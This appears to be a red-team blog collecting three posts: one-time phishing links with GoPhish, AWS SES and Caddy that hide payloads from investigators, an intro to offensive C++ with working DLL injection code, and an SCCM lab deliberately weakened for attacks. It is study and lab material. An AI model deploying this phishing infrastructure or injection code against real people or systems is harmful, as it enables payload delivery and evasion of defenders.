One Time Phishing Links With Caddy & AWS SES

Caddy has long caught my attention as a much nicer alternative to Apache or Nginx which has been widely used by red teams over the years. As a bit of a project to learn more about Caddy and GoPhish, I wanted to try and combine the two to create one time phishing links by leveraging the GoPhish API.

This technique is commonly used as an anti-analysis technique, by offering a payload to the 1st clicker of a link, then offering a non-malicious payload on any subsequent investigation. This can be tweaked based on the environment which you are facing, as you might not always want the link to only be used once. If you read @APTortellini’s post, you can see how else we could extend this…

GoPhish Setup

To start, lets install GoPhish. As this is not to be used in a real engagement/I am being lazy, I will take the pre-built version from their releases.

After unzipping the file, I made the gophish file executable and ran it which exposes a local webserver on https://localhost:3333. This is used to control the server, the initial sign-in details are put into the console for us.


In order to actually send emails, we need to set up an SMTP server for us to send from. Unfortunately this is against the terms of most of the big cloud providers, but I will use AWS SES, as it is low cost option for sending emails out. This does have notable drawbacks for offensive usage, as you will be banned if they receive abuse notifications.

Regardless, it will be fine for a quick and dirty PoC of single usage phishing infrastructure! Below is the cost at the time of writing:

One of the main drawbacks is that we can only send emails to verified email addresses. Lets verify ownership of our target email.

After clicking on the link in the email, we are verified!

We will now create SMTP settings within SES.

I will create a user and then download the credentials from the next page. I will also verify a second email address within SES. This means I can send emails to an actual inbox, rather than the default SES sandbox.

GoPhish Campaign Creation

Back in GoPhish, I will add these SMTP settings into a Sending Profile

I then used the Send Test Email button to verify I had configured this correctly. We then receive the following email in our targets mailbox:

With this working, I configured some basic templates, groups and landing pages in GoPhish. I then configured a Campaign and launched it.

After sending, we get a really clean looking UI within GoPhish, showing we have managed to send out our email.

This page will also show details on who we have targeted and key events on a timeline.

Caddy Setup

Now lets spice it up a little and add some phishing payloads into the mix. We can very easily include an HTML link and send users onto our payload server, which works fine for basic payloads but would mean our payloads could be downloaded by the blue team!

Using Caddy, we can make a basic payload server which will allow us to allow or deny file downloads based on their suffix. For instance, the Caddyfile below will sinkhole any traffic which isn’t to a /downloads/* URL, and will only serve the payload to those URLs within the valid_download_prefixes list – we will generate these later on!

# Only handle traffic which matches our download URL
handle /downloads/* {
    # Only allow downloads from explicitly set URLs.
    @valid_download_prefixes {
        import ../filters/valid_download_urls.caddy
    # Handle requests which contain a valid prefix
    route @valid_download_prefixes { 
        import valid_download.caddy 

    # By default, assume we will block downloads as being expired
    import expired_download.caddy

# A catch all to sinkhole any other traffic which doesnt match a URL above.
handle {
    import sinkhole.caddy

For example, if we set the valid_download_prefixes.caddy file to include path *abc123, then only URLs which end in abc123 will be allowed to download the file, such as /downloads/SOME_TEXTabc123. This is better, but still means that when a valid URL is obtained, then the payload can be downloaded multiple times.

For example, if we apply this configuration, then any URL ending in abc123 will receive the legitimate payload.

But if we try with an ‘invalid’ URL, we get the following error message.

And if we are barking up entirely the wrong tree then we can show a completely different error message via the final handle statement above.

GoPhish API

Using Python and the GoPhish API, we can add some logic to make these URLs only be valid for a single click. First we will need to obtain an API key for GoPhish by visiting the /settings URL. I then installed the official Python library.

We will then get the details on a specific campaign (Assuming we use 1 payload server per campaign). In this case, we will use Campaign 9.

campaign_name = "Campaign 9"
campaign = next((x for x in api.campaigns.get() if == campaign_name), None)

if not campaign:
    print(f"Campaign name '{campaign_name}' not found in GoPhish. Try again!")

# Now lets get the unique ID given to all of the targets.
for result in campaign.results:
    print(f"query id={}")

We can take these ID’s and edit the valid_download_urls.caddy file, so that only the IDs generated by GoPhish will work.

Looking at the output of the API, our target was given the ID of b5KcKSx:

The Python script will then parse this out and add an entry to our filter in Caddy. For this example, it will require the id parameter to contain this unique ID in order for a legitimate payload to be delivered.

query id=b5KvKSx

Now we have an auto-generated phishing URL based on the values from GoPhish. If we now access our final URL, then any requests to the /downloads folder containing a query parameter of id=b5KvKSx will obtain the payload.

If a different query parameter is used, then they will get a different response. In this case we will show an ‘expired’ message to add legitimacy, but this could be replaced with anything.

So we are a step closer now, but this isn’t a one time phishing URL just yet!

One Time Phishing

We can use the access logs generated by Caddy to generate a list of visited URLs, which we can then parse to ‘invalidate’ (i.e. redirect traffic) any of our download links. We can easily do this with a command to find the URLs we visited earlier:

With a Python script, we can check for any visited URLs and remove them from our explicitly-allowed Caddy filter. If we loop over this every minute or so, a download link will only remain active for a minute before ‘expiring’. We could shorten this interval to create a true ‘single use’ phishing link.

Lets try this out using a new campaign, so that we have new unique IDs:

We can now visit the download page and get our payload.

And after a minute, the download expires and the filter is updated so that only 1 ID is able to obtain the payload.

If we attempt to re-download the file, then we get an error message. This message would then be shown to any future visitors, such as a blue team response, or a email security product attempting to investigate a reported email.

Deez WORDS – An Intro To C++

When I first started learning C++, I found a lot of the terms hard to pick up after using C# and Python for so long. Given some of the conventions are not all that visible, I figured it would be handy to pull them together into a cheatsheet/blog post.

In this post I will cover those basic terms, as well as some terminology for offensive C++ and finally cover a basic example of process injection, using DLL Injection.


Below are some examples of the syntax used within C++.

->Access members of a structure or union using a pointer.
This is basically the same as doing object.parameter in most OOP languages, though most OOP languages don’t support pointers.
.Access members of a structure or union. The same as doing object.parameter in most OOP
&Depends on where it is used. In functions it would mean a reference to an object.
For example, someFunc(&myParam) would pass a reference to the myParam variable.
*A pointer. Generally it is recommended to use references where possible!string* foo
::The ‘Scope Resolution Operator’, used to clarify which namespace the function belongs to.std::cout
<<Used with std::cout to write to the ‘standard output’. Aka print something to the console 
>>Used with std::cin to read from the ‘standard input’. Aka reading from the console. Similar to input() in python. 
Std::Core functions within C++std::cout
L""The string will be stored as wchar_t characters.L"Some Value"
#pragma Allows for additional information to be provided to the compiler#pragma once
#include Include a header file when compiling the code. Conceptually similar to using within C# or import in Python#include <Windows.h>

API Naming Conventions

Windows APIs come in many flavours, and it can be hard to know which one to use at the start! Some of the most common prefixes and suffixes are below. A further reference can be found here.

Nt*Functions within ntdll.dll. These are mostly undocumentedNtOpenProcess
Zw*See above, the prefix ‘Zw’ was chosen so as not to clash with other function names.ZwOpenProcess
*AFunctions which use ANSI strings Parameters will follow the variable format of ‘LPC_’, for example any strings would be the LPCSTR typeMessageBoxA
*WFunctions which use Unicode strings This is the default character encoding used in Windows Parameters will follow the variable format of ‘LPCW_’, for example any strings would be the LPCWSTR typeMessageBoxW
*ExTypically handles overloaded/extended versions of a function. I.e. NtCreateThreadEx contains additional options over NtCreateThread.NtCreateThreadEx

NtFunctionName refers to functions within ntdll.dll. For example we can call OpenProcess via kernel32.dll, which will ultimately call NtOpenProcess via ntdll.dll.


There are a huge number of variable types within C++, the Microsoft documentation covers them well.

Naming Conventions

A lot of guides and documentation make use of ‘Hungarian Notation’, where the data type is included in the variable name (e.g. hProcessInfo, for a handle to the process information or a PROCESS_INFORMATION structure). This is discouraged by Microsoft, but it is still widely used!

Microsoft does have a handy list of common prefixes, some of the most common ones are:

lp*A Long pointer value
b*A boolean value
h*A Handle
cb*Count of bytes (e.g. To store how many bytes to allocate for something)

IAT & Reloc

Two key parts of PE injection are the Import Address Table (IAT) and the Base Relocation Table (Reloc Table). MalwareTech has a great explanation of these, which I will paraphrase here.


The IAT contains addresses of all the functions within the DLL, so that when the PE is loaded the addresses can be easily found & loaded, without having to modify the code of the DLL. This can be ‘poisioned’ by a technique known as IAT hooking.

Reloc Table

Whilst most addresses used within a DLL are relative, some will use absolute memory addresses. This table tracks the absolute addresses used in the DLL. I found this a somewhat confusing concept to get into my mind, but this StackOverflow answer contains a helpful diagram to show how RVA’s, blocks and offsets work together!

P/Invoke vs D/Invoke

P/Invoke (Platform Invoke)

This is basically a way of calling C/C++ APIs directly from C# ‘code’. It is produced by Microsoft, who officially describe it as:

“P/Invoke is a technology that allows you to access structs, callbacks, and functions in unmanaged libraries from your managed code”

P/Invoke allows us to take greater control over the way in which the underlying Windows APIs are called by compiled C# code. We can call functions in very specific ways that might not otherwise be supported with vanilla C# alone.

D/Invoke (Dynamic Invoke)

Dynamic Invocation (or D/Invoke) is detailed by The Wover in their blog post introducing the toolset. This is described as:

Presenting DInvoke, a new API in SharpSploit that acts as a dynamic replacement for PInvoke. Using it, we show how to dynamically invoke unmanaged code from memory or disk while avoiding API Hooking and suspicious imports.

It is maintained by The Wover as part of an open-source project. Its main aim is to prevent suspicious API calls being included in the Import Address Table (IAT) of the executable. This means that unmanaged code (aka C/C++ ‘code’) can be called directly from C# in a more stealthy way.

Making A Basic DLL

Before we start playing with process injection, we want a DLL which will show it has run successfully. For this I will use a MessageBox as it is very visible!

There are several examples out there for how to make a DLL, but I wanted to learn how to do it myself:

I struggled with this, until I realised that the new Universal Windows Platform DLLs have a number of quicks over the ‘classic’ DLLs. This was solved by downloading the C++ Development Plugins for Visual Studio. We can then create a basic DLL using the following code

#include <windows.h>
#include <pch.h>

extern "C" __declspec(dllexport)
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            MessageBox(NULL, L"Hello world!", L"Hello World!", NULL);
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
    return TRUE;

We can compile it in Visual Studio and test it works with the command rundll32.exe DLL_NAME.exe,DllMain

Getting a PID from a process name

To resolve a process name into a PID, we can use the section of code below from Sevagas. This is pretty much boiler plate code, but it will help us when debugging our injection techniques (as we don’t have to hard code or supply a new PID each time!). This is purely optional in our process injection technique, as we can instead just supply the PID we want to target.

// Standard function to get a PID from a executable name
// We can avoid this by supplying the PID directly.

DWORD GetProcessIdByName(LPCWSTR name)
	HANDLE snapshot = NULL;
	DWORD pid = 0;

	snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (snapshot != INVALID_HANDLE_VALUE)
		pe32.dwSize = sizeof(PROCESSENTRY32);

		if (Process32First(snapshot, &pe32))
				if (!lstrcmp(pe32.szExeFile, name))
					pid = pe32.th32ProcessID;
			} while (Process32Next(snapshot, &pe32));
	return pid;

DLL Injection

This is the ‘classic’ process injection technique, as covered by T1055.001. Below is a high level view of the APIs we will call to perform this type of process injection. Don’t worry if a lot of this seems alien, we will cover it later on!


  1. Drop our malicious DLL to disk
  2. Here we can provide a PID of a process to inject into, or find a target process to inject into programatically
  3. If we want to auto-find a process to inject into, then we need to:
    1. Use 3 key APIs (CreateToolhelp32Snapshot, Process32First, and Process32Next)
    2. CreateToolhelp32Snapshot creates a snapshot of all processes.
    3. The other two iterate over those processes.
  4. Use VirtualAllocEx to allocate memory to write a path to the DLL on disk from step 1
  5. Then WriteProcessMemory to actually write the path to the DLL into the space we just allocated
  6. Then use CreateRemoteThread or RtlCreateUserThread to execute the DLL we just loaded
    1. Under the hood, both of these functions call NtCreateThreadEx.
    2. CreateRemoteThread will run into issues when attempting to inject into processes from a different session from Vista onwards (Link 1, Link 2). To do this in Vista+, we need to use NtCreateThreadEx.
    3. As pointed out by this post, Mimikatz uses RtlCreateUserThread under the hood
  7. This in turn will run LoadLibrary in the remote process and load our DLL.


Using iRed Team’s post for guidance, lets make our own DLL Injection script. This example will take 1 argument (argv[1]), which is the PID to inject into.

#include <iostream>
#include <Windows.h>

int main(int argc, char* argv[])
	wchar_t dllPath[] = TEXT("C:\\Users\\User\\Documents\\Excluded\\MessageBox.dll");
	printf("Injecting DLL to PID: %i\n", atoi(argv[1]));

	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	PVOID pAllocatedMemory = VirtualAllocEx(hProcess, NULL, (sizeof dllPath + 1), MEM_COMMIT, PAGE_READWRITE);
	if (!WriteProcessMemory(hProcess, pAllocatedMemory, (LPVOID)dllPath, sizeof dllPath, NULL)) {
		std::cerr << "WriteProcessMemory failed, unable to write DLL to targeted PID!";

	PTHREAD_START_ROUTINE threadStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
	CreateRemoteThread(hProcess, NULL, 0, threadStartRoutineAddress, pAllocatedMemory, 0, NULL);

	return 0;

Using this code, we can only inject our DLL once, as repeated calls will not cause the DLL’s entry point to be called again using the code above!

Lets spawn a process to leverage, in this case we will use Notepad. This is created under PID 8052.

To demo this, I will debug the code and manually set our PID value. First off, I will set a break point in Visual Studio after the call to VirtualAllocEx. We do this by clicking in the far left of the window in the greyed area. This will allocate a region of memory which we will use to store the file path to our DLL (line 11) which we want to execute (Line 16).

Here we can hover over the pAllocatedMemory variable to see its value is 0x000002363ed70000. Using Process Hacker, I will double click on the Notepad process and then go to the Memory tab. We can see a region of memory has been created at this address, and the path to the DLL written into it.

Ignore the altered PID of 13140 here!

We will click resume to continue execution after this breakpoint and we get a message box from our DLL. There is some slightly funky looking code going on here. We will load a pointer to the API we want to call, then create a thread and pass it the pointer to API we want to call and parameters for it.

We start with a line of code to load a pointer to the LoadLibraryW function:

PTHREAD_START_ROUTINE threadStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

If we take a look at the documentation for this function, we can see it accepts a single parameter, which is the library to be loaded:

With the next line of code, we will create a remote thread and point it at the LoadLibraryW function (4th param), passing the contents of pAllocatedMemory as the arguments to this function call (5th param). From earlier on, we know the contents of pAllocatedMemory is the file path to the DLL we want to load.

CreateRemoteThread(hProcess, NULL, 0, threadStartRoutineAddress, pAllocatedMemory, 0, NULL);

If we take a look at the documentation for CreateRemoteThread, we can see these parameters explained.

Pros vs Cons


  • Lots of examples on the internet
  • Easy to learn from
  • Easy to implement
  • It works?! (If AV/EDR is turned off)


  • Extremely well signatured
  • Very suspicious looking
  • Not cool
  • The DLL is dropped to disk, making it more likely to be detected


Grow Your Own SCCM Lab!

The offensive usage of SCCM has become a big topic in recent months and years. In this article, I will cover the basics of SCCM and how to configure an SCCM lab from scratch. I also have another article which shows the currently known attack vectors involving SCCM.

As with every article on SCCM, lets do a quick recap on what it actually is and what it is currently called by Microsoft.

SCCM History

SCCM has had a range of names over the 19 years since the original Systems Management Server 1.0 was released. Thanks to Wikipedia:

In 2007, System Management Service (SMS) became System Center Configuration Manager (SCCM).
In 2019 Configuration Manager moved to the Microsoft Endpoint Manager suite.
In 2023 the term “endpoint” was removed to rename the product to Microsoft Configuration Manager (MCM).

For this article, I will just refer to it as SCCM, rather than MECM or MCM.

SCCM Structure

Due to its usage as a software and configuration deployment product, SCCM is designed to work reliably across large and complex estates without causing bandwidth and latency issues. For example, in a distributed network you potentially wouldn’t want your US office reaching out to the UK office for updates – you would want to have a dedicated server in both the UK and US.

To learn more, we can use Microsoft’s own guidance to show us the basics, which I will paraphrase below.

Stand-Alone Primary Site

Starting with the simplest possible SCCM network, we would have one single ‘site’ to handle deployments. This would be known as a stand-alone primary site. Each site has a unique 3 letter code to refer to it, so we will use LON to represent London. A site is a logical way of grouping clients together, and is typically used to group by geographic location (For reasons mentioned earlier!).

Secondary Sites

If our fictitious office was to expand, we might have sites in Manchester (MAN) and Edinburgh (EDI):

In this example, we would add in the EDI and MAN sites as secondary sites, shown in green above. In the words of Microsoft, a secondary site:

Provides support for devices in the remote location. It provides support by compressing and then managing the transfer of information across your network that you send (deploy) to clients, and that clients send back to the site.

As pointed out by Phil Keeble (Nettitude), secondary sites contain their own SQL databases. It isn’t possible to manage clients from a secondary site, any requests have to come from the primary site above it. For example, if we were to deploy an application to a client in Edinburgh (EDI), an SCCM admin would login to the London (LON) primary site, select the Edinburgh-based asset and deploy.

Central Administration Site

Finally, if our fictious office merged with another firm in the US, we might see a structure such as this:

San Francisco (SAN) would be a central administration site in this example. Central administrationsites are suitable for “large-scale deployments, provides a central point of administration, and provides the flexibility to support devices that are distributed across a global network infrastructure”, but they do not “directly support management of devices, which is the function of a primary site”.

Central Administration sites only apply when we are managing more than 100,000 clients, so wont be featuring in our labs!


Site TypeUsage
Central Administration Site (CAS)Provides a central point of administration for large & complex networks
Primary SiteManages devices in its site, or any connected secondary sites
Secondary SiteRelays deployments from its primary site, allowing for distributed management in areas with lower bandwidth


Each site has one or more ‘site system servers’, these are servers or workstations which have had a ‘site system role’ installed on them. These roles allow for additional features to be added into the site or SCCM network as a whole. Some of the core roles are:

Site System Role

As mentioned before, this role is installed on any device which is a Site System Server. This contains the core functionality to allow SCCM to work.

Site Database Server

This is for devices which store a copy of the sites database file.

SMS Provider

The SMS Provider provides read/write access to the Configuration Manager DB at a site via a WMI provider. Each Central Administration Site and Primary Site require one server with this role.

Other Roles

There are a range of other roles, though we only really care about the Distribution Point and Management Point for the purpose of attacking SCCM. Despite this, it is interesting to see what else SCCM supports (and could be exploitable from…). I will cover the non-deprecated ones below:

Cloud Management Gateway Connection PointUsed to manage Configuration Manager clients over the internet.
Data Warehouse Service PointStore and report on long-term historical data
Distribution Point One of the key roles associated with SCCM, this role allows for items to be downloaded by clients. This can be anything from software packages through to OS images.
Endpoint Protection PointManages Microsoft Defender settings for devices in a site. Has to be installed on the highest tier within your SCCM environment.
Exchange Server connectorAllows non-on-prem devices to connect to an on-prem Exchange instance, allows for very basic MDM.
Fallback Status PointMonitors devices which are cannot connect to their management point and so are unmanaged. Only available on primary sites
Management PointProvides policy and service location to clients, as well as receiving config data from clients.
Reporting Services PointIntegrates with SQL Server Reporting Services to create reports for SCCM
Service Connection PointDownloads updates for SCCM, synchronise apps from Microsoft Store and discover users and groups within AAD
Software Update PointIntegrates with Windows Server Update Services ( WSUS ) to provide software updates
State Migration PointStores user state data when migrating a devices to a new operating system

Special Accounts

SCCM has several special accounts, but we will focus on 2 in particular: The ‘Network Access Account’ and the ‘Client Push’ account. Both of these facilitate and feature in a lot of attack paths, so we will become quite familiar with them!

Network Access Account (NAA)

The NAA account is used by clients from untrusted domains to access resources on the network. For example, if a new device is joined to an SCCM managed domain, the NAA could be used to load scripts and resources from the domain.

Client Push

Client Push accounts are used to deploy the SCCM client onto clients we wish to manage. The down side of this is that these accounts require local admin access to any boxes which they need to manage (to install the client), so are ripe for exploitation.

Other SCCM Functionality

SCCM has a lot of functionality, I will cover some of the other key functionality here:

PXE Boot

We can use PXE booting (Or PXE OSD as its otherwise known) to deploy OS’s to devices as they are connected to the network. This process can be exploited with PXEThief, but thats one for another day…

Task Sequences

MWR have a great blog post on Task Sequences, which is well worth reading. In short, Task Sequences effectively allow us to break down the process of performing some sort of IT operation into multiple steps.

For example, deploying an OS onto a remote machine means we need to format the drive, install the OS, update the OS and so on. Each of those steps would be considered as part of a Task Sequence in SCCM. These sequences can contain variables, which are known as ‘Collection Variables’. These can contain juicy details such as credentials or other secrets.

Running A Script

Like all good C2’s (aka IT Management Tools), we can also run a script on a machine of our choosing. Obviously this wont be abused in any way…

Creating An SCCM Lab

After all of that theory, lets make a fairly basic SCCM lab. Microsoft offer pre-built labs (thanks to _Mayyhem) or XPN recommends Automated Lab in one of their posts. Finally, @an0n_r0 has shared a SnapLabs template, which I used in my other blog post on attacking SCCM. If you want to build your own, then read on to produce a site with the following structure:

We will assume that we have a freshly installed version of Microsoft Server. In this case, I will use Server 2019. To start with, I will download Microsoft Configuration Manager and follow the guide by SystemCenterDudes. I went against the standard guidance here, and just installed everything onto one drive – obviously this has significant implications for a production workload, so be careful!

Before you get started, consider these pointers for installing within a lab:

  • Use a NETBIOS name shorter than 15 chars (i.e. SCCM01)
  • Provision at least 80GB for storage – SCCM requires 15GB spare storage before allowing final installation, with the SQL & Windows Server components taking up ~35GB before SCCM is installed

Creating AD Groups

On our blank server, we will start by downloading and installing the MCM file.

Whilst this was downloading and extracting, I created the accounts required on the DC. I also made the sccm-admin account a local admin on the Primary Site server.

My AD accounts are as follows:

I then installed the pre-requisites for a SCCM primary site using the command provided in the guide. To do this, I spawned an administrative PowerShell session and ran the command below:

Get-Module servermanager
Install-WindowsFeature Web-Windows-Auth
Install-WindowsFeature Web-ISAPI-Ext
Install-WindowsFeature Web-Metabase
Install-WindowsFeature Web-WMI
Install-WindowsFeature BITS
Install-WindowsFeature RDC
Install-WindowsFeature NET-Framework-Features -source \yournetwork\yourshare\sxs
Install-WindowsFeature Web-Asp-Net
Install-WindowsFeature Web-Asp-Net45
Install-WindowsFeature NET-HTTP-Activation
Install-WindowsFeature NET-Non-HTTP-Activ

Whilst those were installing, I went to the location where I extracted the SCCM installation resources to, then navigated to SMSSETUP\BIN\X64\extadsch.exe , which will extend the schema of our AD to support SCCM.

Following the System Center Dudes guide, don’t be tempted to skip the ADK installation step, as it is a pre-requisite for the SCCM installation! The latest download URL has changed from the one in their guide.

SQL Server Setup

I then installed SQL Server 2022 Developer. After it had installed correctly, I had a warning about the firewall to ensure all valid ports are open, something we sorted earlier thanks to the batch script. I then unchecked the Azure Extension for SQL Server .

A few steps later I had an error saying that the RPC server was unavailable, this was fixed by following this guide and adding my AD domain name (attackrange.local) to the DNS suffixes.

I then skipped the SQL Reporting Services, because yolo (aka we are in a lab). I also skipped SQL Cumulative Update (CU), because we just downloaded the latest version from Microsoft, and I’m not too bothered about having the latest and greatest version.


Whilst SSMS installed in the background, we can create some SPNs. Notice that the username has been changed from yourdomain\SQLSA in the guide to ATTACKRANGE\sccm-sql, which is the name I was using for the SQL admin account in my lab.

setspn -A MSSQLSvc/SCCM-PRIMARY.attackrange.local:1433 ATTACKRANGE\sccm-sql

We can then configure the SQL DB using the following optional command, where ABC is the site code of the primary site. I have modified the command in the guide as I am using a single drive on the server in my lab, and have also reduced the DB table sizes.

USE master
ON ( NAME = CM_ABC_1,FILENAME = 'C:\SCCM DB\CM_ABC_1.mdf',SIZE = 1000, MAXSIZE = Unlimited, FILEGROWTH = 250)
( NAME = ABC_log, FILENAME = 'C:\SCCM DB Logs\CM_ABC.ldf', SIZE = 1000, MAXSIZE = 2000, FILEGROWTH = 125)

ADD FILE ( NAME = CM_ABC_2, FILENAME = 'C:\SCCM DB\CM_ABC_2.mdf', SIZE = 1000, MAXSIZE = Unlimited, FILEGROWTH = 250)

When this is run, we should end up with the following tables.

Next we need to modify the TempDB table.

USE master
ALTER DATABASE tempdb MODIFY FILE (name='tempdev', filename='C:\SCCM DB\TempDB.MDF', SIZE= 500, MAXSIZE = 2000, FILEGROWTH = 125)
ALTER DATABASE tempdb MODIFY FILE (name='templog', filename='C:\SCCM DB Logs\TempLog.LDF', SIZE= 500, MAXSIZE = 2000, FILEGROWTH = 125)

We then enable our IP2 interface to allow the SQL server to be accessed.

Installing SCCM

Running prereqchk.exe shows that we meet all of the pre-requisites!

Now we run the splash.hta file to install SCCM – yes that’s right, we use a HTA file to install SCCM. We will install this as an evaluation, which has a healthy 180 day demo.

Let SCCM download the files we need and we will set up our primary site.

I then set the logs to be the same folder as before

Use the default names for the Management Point and Distribution Point.

And we can now see the magic button!

This can take a while, so grab a tea and let it run! For reference, the guide states around 15-30 mins to install, it took 57 minutes on a 2vCPU, 8GB RAM VM.

We now have a primary site in our SCCM lab!

Management Point

We will now create a Management Point, so we can manage devices within our lab. As a reminder, Management Point’s manage the communications between our primary site and the clients under our control. This can be anything from distributing software updates to individual files.

Again, we will follow the guide by SystemCenterDudes,as well as using PatchMyPC’s video.

We will install the Management Point on our primary site, as mentioned by the guide:

The Management Point is a site-wide option. It’s supported to install this role on a stand-alone
Primary site, child Primary site or Secondary site. It’s not supported to install a Management Point on a Central Administration site.

From our previous installation, we will have pre-installed all of the necessary requirements. In a production workload we might not necessarily install a management point on our primary site server so YMMV!

Quick Theory Lesson

Management Points have a lot of concepts floating around them, as they are designed to be robust, yet flexible in the way they identify and manage devices. This means it is quite complex to just add a few devices in a lab setting!

Below is a high level description of how the concepts link together, as I found it a little confusing to start.

To manage devices, we will create a new ‘device collection’. Initially I will make a group in AD which will contain all of the devices I want to manage.

The two devices are:

Device NameDescription
 WIN10-12345Windows 10
WIN-HOST-558Windows Server 2019

We will configure our site to automatically install the SCCM agent.

We will then enable 'Automatic site-wide client push installation' and 'Allow connection fallback to NTLM', due to it being a pre-requisites for the SCCM Site Takeover attack. In reality, there are other (more secure) ways to deploy the SCCM client to the estate – but I want to be insecure for my lab.

Note the 'Configuration Manager site system servers' and 'Always install MCM on DCs' options – these could be 2 potential options for further lateral movement into higher tiers, whilst blending in with legitimate looking traffic.

On the Accounts tab, we will enter the details for ATTACKRANGE\sccm-client-push. If we don’t specify an account, then the site server will attempt to connect using its computer account

Back on the ‘Sites’ view, we will click on Configure Site Components and then on Software Distribution. Click on Network Access Account and then enter in the details of our sccm-naa account as before.


Create a boundary group by going to Administration -> Overview -> Hierarchy Configuration -> Boundary Groups -> Create Boundary Group . I will name mine Main ABC Boundary . On the References tab we will set Use this boundary group for site assignment and configure our Primary Site as the site system server.

We will go to Administration -> Overview -> Hierarchy Configuration -> Boundaries and create a new Boundary based on an AD Site

In the Boundary Groups, we will add the group we just created. We will now make a group policy to configure the firewall settings, so that we can actually push data from SCCM onto the devices. To do this, create a group policy and navigate to Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Windows Firewall.. -> Windows Firewall... -> Inbound Rules.

Right click and add a new rule, then select WMI from the Predefined radio button. Select all options and click OK. Do the same process for the pre-defined ‘File and Print Sharing‘ firewall rules. We now have a selection of new rules.

It is a good idea to run gpupdate \force on any devices you want to join to the network – without these firewall rules above they wont connect!


As detailed by this guide, using MCM on the primary site we will go to Administration -> Hierarchy Configuration -> Discovery Methods -> Active Directory Group Discovery. In my case, I had to enable the discovery method by double clicking on the entry and enabling it.

Right click and click on Properties, then on Add and Groups. In the Groups box, we will click on Browse and search for our AD groups which we want to look in for devices to manage.

Confirm these dialogs, and the devices will appear in SCCM.

Let this run for a while, and we should have our devices call in!

Run A Basic Script

To prove we have SCCM working properly, I will make a very basic script to run the hostname command.

I will then disable script approval by going to Administration -> Sites -> Hierarchy Settings -> General Tab and then uncheck 'Script authors require additional script approver'.

After approving the script, I will run it against WIN-HOST-558.

Which we can see has run on the system:

And that’s it, we have a lab! From this point we can perform most of the attacks apart from those which require PXE.